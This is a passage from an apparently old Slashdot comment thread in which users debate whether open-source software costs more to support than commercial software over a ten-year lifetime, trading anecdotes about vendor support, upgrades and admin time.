  16. Comment removed by account_deleted · · Score: 3, Insightful

    Comment removed based on user account deletion

  17. What are the lifetime figures used ? by Archfeld · · Score: 3, Informative

    I find that commercial software is updated or "upgraded" to a new version, new license, hence a new lifetime much more often, whereas the OSS applications we use such as Apache, just age and get more patches, hence a much longer lifetime, and more apparent support required. Looking at our system to admin ratio, the M$ systems are at like 15 to 1, while the unix systems run more like 30 to 1. Note I am not counting the Bazillion M$ desktops because they are generally imaged and they do very little trouble shooting, just reimage and restore.

    --
    errr....umm...*whooosh* *whoosh* Is this thing on ?
    1. Re:What are the lifetime figures used ? by walt-sjc · · Score: 2

      Apache needs MORE support?? Hmm. Don't think so. I think you have that backwards. In the apache world, you don't have to rev the OS to rev the web server. You also don't have to apply the right hotfix / service packs in the right order just to install the freaking product - you just install the latest rev. You can also EASILY run 27 (or whatever) different releases / configurations of apache on the same box if you wish. Try that with IIS.

    2. Re:What are the lifetime figures used ? by Archfeld · · Score: 2

      no no you miss my point, if the Apache installation is in place for 5 years with only minor patches to be applied (very conceivable), then its lifetime is greater and according to twisted stats it requires more support, than say an IIS installation that is essentially new with every version. I am curious to how they determined 'lifetime' and what factors contributed.

      --
      errr....umm...*whooosh* *whoosh* Is this thing on ?
  18. Availability of long-term support? by larien · · Score: 2
    Just a question which you might have already considered; are those companies willing to support this product for 10 years? Bear in mind that any enforced upgrades (i.e. we won't support version 2, you have to upgrade to version 4 or we withdraw support) will cost time in terms of manpower required to ensure a smooth transition and possibly higher hardware requirements. Using an OSS solution means you can stick with whichever version works for you and patch as required.

    Added to this, once you've bedded the product in, probably over a course of 2-4 years, it will just sit in the background and work as-is without any intervention.

  19. OSS Myths, Volume III by mumblestheclown · · Score: 3, Troll
    the lie that many ossers tell themselves is that the problem is fundamentally one of lack of information. "if they only knew about it, they'd use it."

    It's time for that myth to die.

    Companies are in business to make money. Linux was and continues to be front page news--people know about it. So, while this article may get hundreds of yelling and screaming "point of fact" replies, it seems that many companies have tried OSS software (or at least costed it) and have come to the same conclusions--in the long run, it's at least as expensive as commercial equivalents.

    And I'm coming at it from a number of standpoint standpoints:

    1. One (the one that oss zealots will jump on), yes it can be more expensive because of switching costs. that's only a small part of it though.
    2. Two, it can be measurably (in a taylorist sort of way) more expensive to use OSS desktop applications because they are not designed with anywhere nearly the usability in mind that commercial aps are (note: A GUI != usability). I mean, if it takes my employees 10 minutes more a day to do their tasks with StarOffice or whathave you, then the cost of Ms-Office is soon worth it.
    3. Three, because of relatively poor usability of OSS development tools (whatever you may say, there are few OSS development environments that can come close to the better codewarrior or visual studio stuff), it is often more cost effective to develop in-house software on commercial platforms

    remember the old saying:

    "It's only free software if your time is not worth anything."

    1. Re:OSS Myths, Volume III by locarecords.com · · Score: 1
      Point 2 is quite simply rubbish. How exactly are you measuring this in a 'taylorist' way?

      Counting lines of code? Counting functions? There is currently no clear unambigous way to measure productivity in services and consequently it is difficult to compare.

      Just because something is easier to use doesn't make it more efficient. For example the amount of time users spend twiddling with fonts, colours and sizes (ie FORM) to produce documents is highly inefficient in terms of CONTENT.. and all down to improved usability...

      --
      ---- The Open Source Record Label : : LOCARECORDS.COM
    2. Re:OSS Myths, Volume III by Sunkist · · Score: 1



      4. Four, I like to use the arabic number and the written number in my lists.

      --
      No, Vern. They just let him in.
    3. Re:OSS Myths, Volume III by Anonymous Coward · · Score: 0

      Basically, he is right. If MS saves you 10 minutes a day and you are paid ~ 10/ hour, it is break even with MS. What the parent has not established is how does MS office save you 10 minutes a day / employee without costing you any more time upfront by any other employee AND not have any other costs.
      That is the part that can not be done.

    4. Re:OSS Myths, Volume III by sparrow_hawk · · Score: 1

      1. All right, no one is disputing that it takes time and money to switch. Give us credit for some sense. The corollary to this is that it takes time and money to *upgrade*, too, since whole swaths of OS features get moved or changed. Moving to Linux is just like a major Windows upgrade -- there are always going to be a few niggling little problems. (As a side note, upgrading to Windows 95 from 3.1 was one of the most painful computing events of my life, leaving our computer useless for almost a month.)

      2. I agree that OSS has a ways to come in terms of usability. Still, RedHat 8.0 is the best I've ever seen bar none -- which is to say that it is more than ample for every day business use, and it is only getting better. In-house software isn't famous for usability either, and people use it without much complaint.

      3. I don't know about anyone else, but I *hate* Visual Studio, and I would more than rather use emacs and gcc to do my developing. Remember, if you're dealing with developers you're generally dealing with people who can tell their heads from their tails. If you can program C++, don't tell me you need a pretty interface.

      That saying is rediculous. You think if you install Microsoft you won't need to take the time to upgrade and maintain things -- it'll Just Work(tm)?

    5. Re:OSS Myths, Volume III by Anonymous Coward · · Score: 0

      this guy was modded up? he said nothing new or interesting.

      as an avid mac user, an mcse, and someone who has supported thousands of users, on the front end and backend, in an ms environment.....this dog don't hunt.

      he falls well short of insightful.

      closer to a parrot i'd say.

      OSS Myths, Volume III (Score:2)
      by mumblestheclown on Wednesday November 06, @04:25PM (#4611528)
      (User #569987 Info)
      the lie that many ossers tell themselves is that the problem is fundamentally one of lack of information. "if they only knew about it, they'd use it."
      It's time for that myth to die.

      Companies are in business to make money. Linux was and continues to be front page news--people know about it. So, while this article may get hundreds of yelling and screaming "point of fact" replies, it seems that many companies have tried OSS software (or at least costed it) and have come to the same conclusions--in the long run, it's at least as expensive as commercial equivalents.

      And I'm coming at it from a number of standpoint standpoints:

      One (the one that oss zealots will jump on), yes it can be more expensive because of switching costs. that's only a small part of it though.
      Two, it can be measurably (in a taylorist sort of way) more expensive to use OSS desktop applications because they are not designed with anywhere nearly the usability in mind that commercial aps are (note: A GUI != usability). I mean, if it takes my employees 10 minutes more a day to do their tasks with StarOffice or whathave you, then the cost of Ms-Office is soon worth it.
      Three, because of relatively poor usability of OSS development tools (whatever you may say, there are few OSS development environments that can come close to the better codewarrior or visual studio stuff), it is often more cost effective to develop in-house software on commercial platforms
      remember the old saying:

      "It's only free software if your time is not worth anything."

      is the gayest thing i've heard.

      it should have a companion saying...something along the lines of "what do 5000 secretaries using Microsoft Word have in common?"

    6. Re:OSS Myths, Volume III by vb.warrior · · Score: 1

      "3. I don't know about anyone else, but I *hate* Visual Studio, and I would more than rather use emacs and gcc to do my developing...."

      I program for a living and for fun and any help that an ide can provide in making my job just a little easier is welcome. I would rather spend an hour reading a book, going for a walk or being with my girlfriend than breaking my wrist typing some obscure commands into emacs and feeling oh so 'leet'.

      The whole 'I use vi and gcc in xterms' mentatility is why there are no good development environments on Linux or ever will be. Oh Im sure its nice to be stuck in the 70's, but to be honest I've got better things to be doing.

    7. Re:OSS Myths, Volume III by IamTheRealMike · · Score: 2
      it seems that many companies have tried OSS software (or at least costed it) and have come to the same conclusions--in the long run, it's at least as expensive as commercial equivalents.

      False logic - they may have costed individual open source apps and found they were more expensive than particular proprietary apps in some circumstances, but the opposite is also true. Nobody in their right mind should make generalizations like "we've costed open source software and it's more expensive than proprietary software"

      # One (the one that oss zealots will jump on), yes it can be more expensive because of switching costs. that's only a small part of it though.

      You're quite right they'll jump on it, because it's not really an argument at all. You said it yourself, not only is it small but it's also shrinking all the time as compatability gets better etc.

      Two, it can be measurably (in a taylorist sort of way) more expensive to use OSS desktop applications because they are not designed with anywhere nearly the usability in mind that commercial aps are (note: A GUI != usability). I mean, if it takes my employees 10 minutes more a day to do their tasks with StarOffice or whathave you, then the cost of Ms-Office is soon worth it.

      Usability is todays problem. Yesterday it was lack of desktop applications, and the day before that it was lack of corporate credability in the server arena. This isn't an argument against open source per se, it's merely a rather subjective statement about the state of some open source apps today. It's also another broad generalization, I find Redhat/GNOME2 to be more usually more intuitive than Windows. There are a lot of apps that have poor usability, but then the same can be said for commercial software (shareware anybody?)

      Three, because of relatively poor usability of OSS development tools (whatever you may say, there are few OSS development environments that can come close to the better codewarrior or visual studio stuff), it is often more cost effective to develop in-house software on commercial platforms

      Troll I say! What development tools you use are totally personal, I find Emacs/PyGNOME to be make me far more productive at desktop apps than IDEs such as Delphi or VS.NET. If you think that, then you're looking at the lack of wizards and "enterprise support" and assuming different is the same as inferior. If IDEs work for you then great, you can use Eclipse or Kylix on Linux if you must have an uber-powerful IDE.

      remember the old saying.... "It's only free software if your time is not worth anything."

      That's not an old saying, that's merely more FUD. It's also extremely arrogant, I use free software for everything and get paid to use it. Was I more productive when I used proprietary stuff to do my job? No. And my time is most definately worth something.

    8. Re:OSS Myths, Volume III by sparrow_hawk · · Score: 1

      Okay, fair enough. Let me explain:

      I haven't done a whole lot of complex programming, but I don't find that emacs (my editor of choice) and gcc are any less intuitive than an IDE. Personally, I find Visual Studio (especially VC++) hard to use, though if I spent enough time with it I could probably understand it. I just find I don't really need an IDE to get what I want done.

      You may be interested in Anjuta, an IDE for gcc/c++ on Linux that looks interesting (no personal experience with it or vested interest in it).

  20. $8000/year to read a mailing list? by theBOPfromH*LL · · Score: 1

    Hmmm, you are estimating $8000/year cost for someone to stay current by subscribing to and reading a mailing list? Maybe I should be working for your company.

    1. Re:$8000/year to read a mailing list? by Anonymous Coward · · Score: 0

      $8000, worth of time sounds conservative.

      How many hours per week do you spend reading /. ?

      Lets assume you read slashdot for 45 mins per day (a conservative estimate for many people here I think) which is 3.75hrs/week.

      If your salary is based on a 40 hour week then 3.75/40 = 9.375% of your time online.

      The poster assumed an FTE cost of $80,000 per year.

      $80,000 * 9.375% = $7500

    2. Re:$8000/year to read a mailing list? by theBOPfromH*LL · · Score: 1

      Do I bill my customers for the time I spend reading slashdot? No. Could reading slashdot be construed as support for sendmail, apache, or any other OSS project? No.

      No matter how you slice it, $8000/year to read a mailing list (or slashdot for that matter) sounds like a great job. Forget about ten, I could easily handle 50 jobs like that, if it means I'd make $400000/year!

  21. Amortization is key by photon317 · · Score: 3, Insightful


    First off, on an annual basis 1/10th of an FTE is probably excessively high. That's 4 hours a week devoted to being the support guy for this OSS product by reading mailing lists and maybe doing a little patching. When new releases are deployed or new security bugs found or whatnot, you *might spend* 4-8 hours that week, but I bet most weeks and even most years it takes far less time. Another thing to consider is that some of this time spent supporting (and learning to support) a peice of OSS can be amortized with the costs of supporting other software. In other words, once you get one guy trained in the workings of the OSS world (where to find FAQs, how to address people on technical mailing lists, simple source patching, etc), he can apply those skills across the board. Proactive support in the form of watching for new bugs and security reports gets clumped together by BugTraq et al.

    If I were in your position of making the support cost analysis, I'd probably put it at more like 2 hours/week on average the first year, and dropping to 1 hour/week on average the remaining years. This should place it around the same $$ as the commercial options. This is assuming this is the only OSS around. If the same department picks up a few more OSS support tasks, they can lump them into this one guy and drive his cost per peice of OSS even lower.

    Perhaps rather than a new business model, large companies should create new positions called "OSS Support Engineer", and hire linuxy geeks who know this world to sit in and be their in-house mediator between their developers/admin and the mailing lists and authors of the OSS.

    --
    11*43+456^2
    1. Re:Amortization is key by maxpup979 · · Score: 1

      My company ran into a very similar situation. We were looking at an assortment of search engines, and ended up with 2(don't ask). One is a closed source, very powerful, but with issues, and the other is open source (htdig dontcha know). As the admin of the open source search engine, I spend far less than 10% of my week supporting it. During the last year, I have spent less than 30 hours total (and that includes testing and rolling out a couple of new versions). My poor fellow admin has spent over 300 hours in the last year doing the same thing with the closed source product. The end result, is I now have a new project on my desk to get rid of the closed source package, and replace it with HTDig. I realize that it is not the solution for everyone, but I am certain that if someone needs to devote 10 percent of their time to the support of a piece of software, than either the software is crap, or the person is a moron.

      --
      God may be on your side, but Lady Luck is MY bitch
  22. What Support? by TamMan2000 · · Score: 4, Informative

    I work for a company that is trying to migrate from Sun to PCs, and (against my advice) chose the windows NT line (it won largely on the support argument). For some of our in house applications we do a lot of parallel computing, NT was simply not able to do a lot of what we needed it to do. Anyone care to guess how much support we have gotten? We have gotten none, MS responded to our complaints by telling us (paraphrased) 'you need to find a way to hack our system'.

    In closing...
    You have to consider the quality, and amount of support you get for the commercial stuff, not just that they claim there is support.

    --
    "I'll have a Guinness, no wait, make that a Coors Light" -Grad student I work with, who shall remain anonymous...
    1. Re:What Support? by Anonymous Coward · · Score: 1, Insightful
      I am going to have to anoncow this one.

      I've heard tell of similar problems with a friend's setup. If your network requires a non-standard (defined however MS want it to be) configuration, good luck on the support end. Make sure you factor in all the time trying to find a consultant who can even come close helping solve your problem into your cost estimates. One urgent problem that actually was the result of a bug of MS (according to the docs, it could be done) took a month to find one guy versed enough to even attempt a fix.

      MS' response... find someone and figure it out (no code mind you). Trial and error and multiple consultants. Whereas at least you could fix the bug with the proper consultant and the source code.

  23. Open Source Is Not a Monolithic Thing by hondo77 · · Score: 4, Insightful

    Open source is not a single thing. The question isn't whether open source is more expensive than closed, it's whether a particular tool is more expensive than another. In your case you found that an open source tool wasn't the way to go. In other cases you are bound to find that it is the way to go. Credit to you for approaching it in an objective manner.

    --
    I live ze unknown. I love ze unknown. I am ze unknown.
  24. What does commercial support really get you? by coyote-san · · Score: 5, Insightful

    The problem with these analyses is that it often overlooks how little commercial support really gets you. Esp. if you're looking at very long duration projects with limited resources to pay somebody to support your platform long after everyone else has moved on.

    Let's set the way back machine back about the same number of years, let's say to 1994. You develop an application and buy hardware....

    Your Linux solution is running a pre-1.0 kernel on a box that runs under 100Mhz. If you need to recompile it to work on new hardware and OS when your old system bites it, you can.

    Your Windows solution is running on Windows 3.1. Good luck getting support for it. If you are willing to pay for a whole new development cycle, you reinvented it for Windows 95. Good luck getting support for it. Ditto your upgrade to NT4, which also required all new hardware.

    The cold hard truth is that when you're looking at a long window, you MUST have FULL source or you're hosed. At some point you're going to need to run on hardware that's no longer being made, or your hardware will require some driver that you can't get without upgrading your OS, etc.

    --
    For every complex problem there is an answer that is clear, simple, and wrong. -- H L Mencken
    1. Re:What does commercial support really get you? by Anonymous Coward · · Score: 0

      And the problem with your analysis is that it's restricted by ABM blinders. Where I work we have several pieces of critical proprietary software in which all it takes is a phone call to get an engineer (not a phone monkey) to walk me through whatever I need to do. Problem with an install? Call the vendor and it gets fixed. Problem with the Java libraries? Call the vendor and it gets fixed.

    2. Re:What does commercial support really get you? by Lumpy · · Score: 2

      BINGO! give that person a prize!

      I have one of those nightmares here.. the company, a well established media company, sold us a system... it's obsolete (their term not ours) but it still works and does the job. support? nope, it's a non-supported product now... if we bought the EXTENDED service plan that includes free software updates we would still be hosed as it's required to buy new hardware for each upgrade.. Hmmm add that to the TCO... $10,000.00 server every 3 years...

      hidden stuff... you need to look at all the aspects.

      --
      Do not look at laser with remaining good eye.
    3. Re:What does commercial support really get you? by Anonymous Coward · · Score: 2, Interesting

      I just completed a project approved by the DEPSECDEF... vital to the war effort.

      vital.

      and it is running on a brand new PII with ISA slots because the software we had only worked with the ISA version of some cards we needed to use.... and even though PCI cards were available that did the exact same thing, we couldn't migrate to the PCI cards.

      And, you guessed it, this also meant that i could not move to a stable OS like Linux or Windows 2000.

      The end result was that a mission critial weapon system is out there.. and its running DOS 3.31.

      It also crashes multiple times a day - which does not make ANYONE happy. Our project was almost completely cut out to let non-optimal alternatives take care of the job

      (To give you some idea of what THAT means: It would be like having to airiate a field, but because the tractor you have breaks down every few feet, they chose, instead, to drop 5 2000 lbs bombs on the field.. because, damnit, the field is gonna get fscking airiated, and it doesn't matter how.)

      So...because someone before me didn't think that using open source software was important... I had no solution to my problem.

      A problem i had to explain to my boss to explain to Paul Wolfowitz (his boss is Don Rumsfeld).

      Let me tell you.. THAT ruined my day.

      Closed source MAY INDEED cost you more - but in the long run, the fact that it RUNS is more important, even if it costs more money.

      Period.

    4. Re:What does commercial support really get you? by Anonymous Coward · · Score: 0

      amen brother.

      most commercial support sucks.

      i personally like cisco support (we pay out the ass for it). i send them an email, and in 20 seconds, they call me on my cell. ;-)

    5. Re:What does commercial support really get you? by corey_lawson · · Score: 1

      This sounds exactly like a validated system (those in the Pharma industry know about that...). "can we upgrade it?" "No, because then it, and every system it interacts with, would have to be revalidated".

    6. Re:What does commercial support really get you? by devleopard · · Score: 1

      Your Windows solution is running on Windows 3.1. Good luck getting support for it. If you are willing to pay for a whole new development cycle, you reinvented it for Windows 95. Good luck getting support for it. Ditto your upgrade to NT4, which also required all new hardware.

      I think you're losing your place. Are you looking at it from the perspective of the developer, or the consumer? "pay for a whole new development cycle" implies that you have access to the source code.

      Even so, your assuming that upgrades are required. (Talk about buying into MSFT philosophy!) In most cases, Win3.1 software will run on later version of Windows. If not then that's something you consider when you upgrade your OS. (Unless you're a Microserf and assume that you *have* to upgrade your OS)

      --
      The best thing about a boolean is even if you are wrong, you are only off by a bit.
    7. Re:What does commercial support really get you? by walt-sjc · · Score: 2

      Were you even around during the win95 release? There were TONS of apps that didn't work. Anything with a driver comes to mind. Many other apps just flaked out. Win 3.1 was also unstable as hell (not saying that 95 was stable either). If you wanted to move towards stability, you had to upgrade due to the fact that MS had no interest in fixing old versions of windows to increase security / stability. That sucks.

      OSS solves this. OS unstable? Port to something else. Bug? Fix it. Need an enhancement? Just do it.

    8. Re:What does commercial support really get you? by Anonymous Coward · · Score: 0

      Heh... Have you tried to compile linux-1.0 (still on kernel.org, afaik)? Good luck unless you have real old compilers, too (I'll grant you that you might be able to find these). Oh, and watch out for those IDE (MFM?) eating bugs.

      OTOH, Win 3.1 still installs perfectly nicely on any new machine (well, any machine with a PS/2 keyboard and not a USB one).

    9. Re:What does commercial support really get you? by Anonymous Coward · · Score: 0

      How old is the software that you use? Since you mention "Java libraries", the software you use can not be that old.

      The parent post which you replied to stated that a piece of OSS software, over a 10-year period, is more likely to continue to be supported.

      This is because, since they have source code, they can recompile the application in new environments. A circa 1994 application will most likely compile on a modern Linux system; since motif was made free a coupld of years ago, even a Motif application can compile without much hassle.

      Compare this to a binary-only appication of the same era, where such an application needs specialized hardware, or a specialized emulation environment, and an obsolete OS in order to run. Most likely, the company who makes the application does not support the application any more; if they do, they force the customer to pay for costly upgrades, costly both in the cost of the software and the cost of upgrading an otherwise perfectly functional system.

      In the technology sector, companies go out of business or completely change their focus quite often. In which case, the software in uestion is no longer updated; this means the company gets no support and is forced to maintain obsolete hardware which is wearing out.

      Now, you mention Java, and tihngs are not quite so bad here. The JVM (Java virtual machine) means that you can run the program on any new hardware which comes down the pipeline over the next ten years, as long as it has a JVM compatible with the current JVMs.

      However, a ten-year-old JVM will look br quite crufty. In addtion, you still have the problem that those people who you can call and talk to today can very well not exist ten years from now.

      Ten years is a long time in the computer industry; a lot of young people who post here at Slashdot do not realize just how much technology changes in such a short period of time.

      - Sam

    10. Re:What does commercial support really get you? by Compuser · · Score: 2

      Ok, I am not in the software business at all, so
      I am just idly wondering here...
      What if in your analogy, instead of a PC with
      Windows 3.1, you had some other closed system.
      Like AS 400. I'd guess you could get IBM to
      support its hardware/software combo for 10 years.
      It seems to me not all closed systems are created
      equal w.r.t lifetime.

    11. Re:What does commercial support really get you? by marauder404 · · Score: 2

      Why are you upgrading the machine? Why are you moving from Windows 3.1 to NT 4.0? If you could get the application run on 3.1, then there's no reason to go to 4.0. If there are upgrades that are available in 4.0, then the specification was poorly written from the beginning and you picked the wrong stuff to begin with. If an application is truly expected to run for 10 years, the upgrade path has to be well-defined and clearly specified. You have the SAME issues if you're moving from Linux 2.0 to 2.2 -- someone needs to upgrade the machines, push the process through completion, and support the new system.

    12. Re:What does commercial support really get you? by pjrc · · Score: 2
      Your Linux solution is running a pre-1.0 kernel on a box that runs under 100Mhz. If you need to recompile it to work on new hardware and OS when your old system bites it, you can.

      Yes. But....

      libc4 -> libc5 -> glibc2 -> glibc2.1 (or something like that)

      ipfwadm -> ipchains -> iptables (I know of an app that's a firewall-in-a-box based on ipfwadm and a very stipped down system to minimize but a nice gui front-end... still hasn't been updated)

      gcc 2.4.5 -> [many versions] -> gcc 2.9.5 -> gcc 2.9.6(redhat) -> gcc 3.x (many gcc bug fixes "improved" error checking and thus old code with sloppy but then common syntax would need to be edited)

      /usr/include/xxx greatly reorganized, many times over

      /proc/xxx

      kernel ioctls and APIs changed many times over (maybe you're lucky enough to only be using C library interfaces, but even that is a giant minefield).

      [insert more changes if other libs used... anyone remember the bad-old-days of paying big bucks for motif?]

      The list goes on... but yes, at least you CAN do something about it. I've been using linux since just before the pre-1.0 kernel, and I maintained some old code since those days. It's not so bad if you upgrade regularily and recompile each time (rather than installing old libraries and putting it off, which I've also done). But if your 1994 era code suddently needed to be recompiled for a modern system, it would be painful. You can, true enough (and you can't if it's proprietary and the vendor is unwilling to sell an updated version), but the pain is substantial.

  25. The cost of closed source by doghouse41 · · Score: 1

    What is the cost of a closed source solution which 5 years down the line is no longer supported by the original supplier?

    (who has since been taken over twice by companies that have no interest in your original product.)

    Their response to your problem? - "give us $100K to upgrade to the next version of our product".. which you won't be able to use without major re-engineering because it is incompatible with your original software.

    An everyday story of the closed source software industry....

  26. The Universal Answer by RAMMS+EIN · · Score: 1

    It depends. What kind of software are you looking at? What do you want to do with it? What features do you need from it?

    --
    Please correct me if I got my facts wrong.
  27. Who Needs Support? by sabat · · Score: 3, Interesting

    In nearly all cases, if you have competent admins, you don't need support. Tech support staff are by and large not good at troubleshooting and are don't know the products they support very well.

    On the other hand, most trouble can be solved by groups.google.com, good investigation and troubleshooting, and sometimes an upgrade.

    Honestly -- who really uses support?

    --
    I, for one, welcome our new Antichrist overlord.
    1. Re:Who Needs Support? by Saxerman · · Score: 3, Interesting
      In nearly all cases, if you have competent admins, you don't need support. Tech support staff are by and large not good at troubleshooting and are don't know the products they support very well.

      On the other hand, most trouble can be solved by groups.google.com, good investigation and troubleshooting, and sometimes an upgrade.

      Honestly -- who really uses support?

      When you use OSS you don't need to wonder how the software works. Everything it does is spelled out in the source for you. Even with poor or no documentation a good coder can still review the code and understand how it works. That same good coder can then add any features you might need.

      So, as you say, you shouldn't need support when you have the source available if you have someone on staff who can read and understand the code. However, like any good coder, you can get stuck, even with the source code on hand. It helps to have someone else to bounce ideas off and I find it really helps when designing new features. I tend to think of lots of different ways to implement new ideas and but have trouble deciding on which is the most 'correct' route to take.

      And during those times I call on support. Be they other programmers on staff with me, programmers I used to work with but still keep in contact with, those weird coders I 'met' online, or even that kid who delivers our pizza. Just like your tech support hotline staff they may not know the product I'm working on very well. But their experience in coding or even their common sense might be all I need to get back on course.

      So, I tend to use support all the time. Even if I did find some of that support via google groups with some good investigation and troubleshooting skills. It's just not commercial support, which is probably your point anyways.

      --

      A steaming cup of soykaf would be real wiz right now.

    2. Re:Who Needs Support? by dlb · · Score: 1

      Sounds like you've never worked for a company of any decent size.

      A support contract means leverage when the software breaks and you need a fix 'right now'.

      You can't get immediate response from some joe off the newsgroups.

      ~dlb

    3. Re:Who Needs Support? by Anonymous Coward · · Score: 0

      How insighful! When my sectretary has a problem formatting a letter in OpenOffice I will simply tell her to search google, patch the source code, then re-compile it herself. Brilliant!

    4. Re:Who Needs Support? by imnoteddy · · Score: 1
      When you use OSS you don't need to wonder how the software works. Everything it does is spelled out in the source for you. Even with poor or no documentation a good coder can still review the code and understand how it works. That same good coder can then add any features you might need.

      Yeah, right.

      Everything it does is spelled out in the (possibly uncommented, often cryptic) source for you.

      Have you ever actually tried to reverse engineer code with poor or no documentation and then add any features you might need? I have, many times. It's always time consuming (read expensive). The last time I ran into this we ended up replacing the whole system, because it was cheaper. I made a lot of money on that job, so I guess I'm not complaining. But just because you have Open Source Software doesn't mean the source is a thing of beauty and easy to modify.

      --
      No electrons were harmed creating this post, though some may have been subjected to electrical and/or magnetic fields.
    5. Re:Who Needs Support? by sabat · · Score: 2

      I've been an admin for about 12 years now. In all that time, I cannot think of an instance where tech support actually got me out of a jam or actually helped at all -- except maybe to supply a patch.

      Your mileage may vary, but I don't know any admins who depend on tech support staffs except for blackbox software.

      That's not because I reverse-engineer the code; it's just because as an admin, it's my job understand how stuff works and to be able to work out what problems are. That's what a tech support contract gives you -- the ability to have someone else do part of your job.

      I suppose if you really need that, well, get the tech support and pay the money. But you'd be better off learning to troubleshoot on your own.

      --
      I, for one, welcome our new Antichrist overlord.
    6. Re:Who Needs Support? by Saxerman · · Score: 2
      Have you ever actually tried to reverse engineer code with poor or no documentation and then add any features you might need? I have, many times. It's always time consuming (read expensive).

      I am not trying to say merely having the source code makes it trivial for any coder to come in and make changes. This is why I said you need a 'good' coder. Reading raw source, especially poorly written, and making changes without breaking anything is non-trivial (and thus time consuming, and therefore expensive.) But it can be done and done well by those with the proper mindset, training, and/or experience. I'm sometimes quoted as saying it is just a matter of having the patience and mental acuity to absorb the information and then connecting the dots. Certinaly you will have an easier time just rewriting the bits that don't make sense, and when time is an issue it is, as you say, easier just to start over from scratch. In such a case the source does them just as much good as a compiled binary.

      The proper counter argument is that a 'good' hacker could also just rip a compiled binary into a debugger, read and understand the assembler and make the desired changes to it. Which is also true although I believe it is even more non-trivial to work in such a low level computer generated language.

      So I'm not trying to say that source code is the holy grail and with it you will have eternal life. For time sensative projects (and what isn't, right?) you need to make changes quickly so it may not be practical to grab OSS and beat on it until it works. However once you've got one in house along with a coder or three that understands it, it becomes a lot faster to make changes to. Add on to that the added benefit of having others working on it who aren't even on the payroll. The only real drawback might be that they also get to draw benefit from the software, but that's not always bad.

      --

      A steaming cup of soykaf would be real wiz right now.

    7. Re:Who Needs Support? by sabat · · Score: 2

      Sounds like you've never worked for a company of any decent size.

      A support contract means leverage when the software breaks and you need a fix 'right now'.

      You can't get immediate response from some joe off the newsgroups.

      Actually, I worked at Oracle for more than two years. There were two types of admins there: the ones who used tech support like a crutch, and the ones who actually solved problems.

      This has been true everywhere I've worked: the guys who depend on tech support have a problem status of "waiting on a solution from the vendor," while the DIY guys usually have the problem solved, often with a solid explanation of what happened and why it won't happen again.

      You want an instant fix? It's so rare for a tech support contract to produce one; usually, you're left waiting all day, only to get an answer of "just upgrade," or "here's a patch, try this" (with varying results).

      And as for newsgroups: you don't need to depend on someone to answer you quickly. See, chances are that with any given problem you're going to have, someone else has already:

      • had the problem

      • found a fix, or

      • received a good answer from someone
      You don't need a personalized answer unless you're really doing something non-standard. Most of the time, the answers are already on mailing lists or even in FAQs. And let's not forget IRC help channels -- I've never actually used one, but a friend of mine swears by them.

      For instance, with Checkpoint Firewall/1, my experience with tech support has produced fairly questionable results, while http://www.phoneboy.com/, the unofficial Checkpoint info site, has nearly always produced valuable help for us. Why? Because phoneboy is a working admin; the drones manning tech support lines are not, and neither are the developers those guys get their info from. Developers are usually quite unaware of real-world scenarios, so their perspective is usually skewed in an unhelpful way.

      So -- I guess if you need to make political excuses ("still waiting on tech support, sir"), then tech support is useful. But if you actually need to solve problems, you need to learn how to be resourceful. IMHO.

      --
      I, for one, welcome our new Antichrist overlord.
    8. Re:Who Needs Support? by Anonymous Coward · · Score: 0

      What, you don't have a Help Desk? You're going to arrange for Microsoft tech support for MS Word? Ever tried using that? Hours on hold listening to their "radio station," my friend, hours.

  28. Re:Nice, subtle by Anonymous Coward · · Score: 0

    What, so he used to work for MS. Big deal. He's clearly not a MS lover. He seems like a generally moderate kind of guy. Read his rant on government interference for what it's worth. Theres some good and bad in there. He's definately not a ms planted and ms staffed writer trying to spread FUD on /.

  29. Support for Open Source by Pramode · · Score: 1

    Try LinuxCare for tech support on open source applications: here is the link to the "Advanced Support" page

  30. Let's Have Some Common Sense Here by rootmon · · Score: 1

    How can any one company provide support for all Free Software/Open Source products? What you need to do is look for a company that specializes in the language that this particular project is written in and get an estimate for their services. Because the source code is open, there is the additional advantage of being able to change to another company if they go belly up or get too greedy in the future. You're not locked into a single vendor or solution provider. Besides, would you really expect one company to give the same level of programming support for projects written in C, C++, Java, Perl, PHP, Python, etc? What we should do is network better: make it easier to find a local specialist with the required skill set to support a particular solution.

    --
    "As flies to the wanton boys are we to the gods; they kill us for sport." - William Shakespeare, King Lear
  31. Can be by MrChuck · · Score: 4, Interesting
    Sure, it can be.
    Mismanagement can make lots of things really expensive.
    I've used BIND for YEARS. Very little effort except to keep it up to date. Low costs.

    I've seen people mangle Lotus Notes into being unbelievably expensive, shown when the lies, damn lies and statistics took into account the same costs they fixed to our Sendmail and QPopper infrastructure (every desktop admin who did pkg_add of my sendmail build once on the machine was had their salary attributed to the cost of standards based mail). We suggested that their notes costs that left out administrators was a bit slanted.

    Careful management and selection of software is important.

    The acquisition of software is usually the smallest cost.

    But support for "unsupported software" and, more, the ability for a talented administrator to fit it to his company's needs is often well worth that lack of security PHB's have.

    That and a list of unresolved bugs from our "supported" software :)

    . So yeah, I can take a bug tracking/CRM system, install it and make our bug tracking process fall in line with the vendor's notion of how we should do our business or
    I can take open source components (bugzilla, GNATS, etc) and other tools and use them to fit how we do our business already.

    The latter might take more effort, but at my previous company, we had an ENORMOUS CRM tool that only ran on windows (now add cost of desktop windows where before we had been a 70% unix shop) and we ended up with a tool that Sales marketing and tech support HATED. The data in it was often useless because it was such a burden to use, and we ended up hiring extra people to deal with data entry.

    But I know that I could make a case that showed it was cheaper than using Open Source by perhaps showing that features we didn't really want before, but used later only because they were there (report generation that was handy, but far from critical) would have been an additional cost to add to O.S.S.

    On the other hand, I've used tools where once we've been bound in, the ONLY way to generate reports was through expensive tools.
    A little Perl and ASCII logs from Open Source often make Open Source a winner on this, but that often won't be taken into account.

    Many of us here have slapped in a free tool to do things that the corps were taking forever on. Example:
    A $3000/machine host monitoring solution was found and chosen.
    Now there must be a committee to best decide how to deploy and configure it.
    We get bored. net-SNMP on all our machines (runs scripts, reports info, etc) and NOCOL and 2 days later we have 40 machines monitored via the Web, pages getting sent on outages etc.

    6 months later, we're told to take it down and pony up $3000/machine to use the "blessed" software.

    1. Re:Can be by Anonymous Coward · · Score: 0

      Let me sum your entire post in one line: For every commercial program, there is a simplisitic open source version that does kinda the same thing with one third of the features. Duh.

  32. DON'T LISTEN TO HIM!!! by Anonymous Coward · · Score: 0

    HE'S A PLANT!!! Microsoft has been planning on doing this for a while!!! Disemminating dinformation!!! FUD FUD FUD FUD!!! RUN AWAY!!! IT'S PROPAGANDA!!

  33. License fees and support fees by SchroedingersCat · · Score: 1

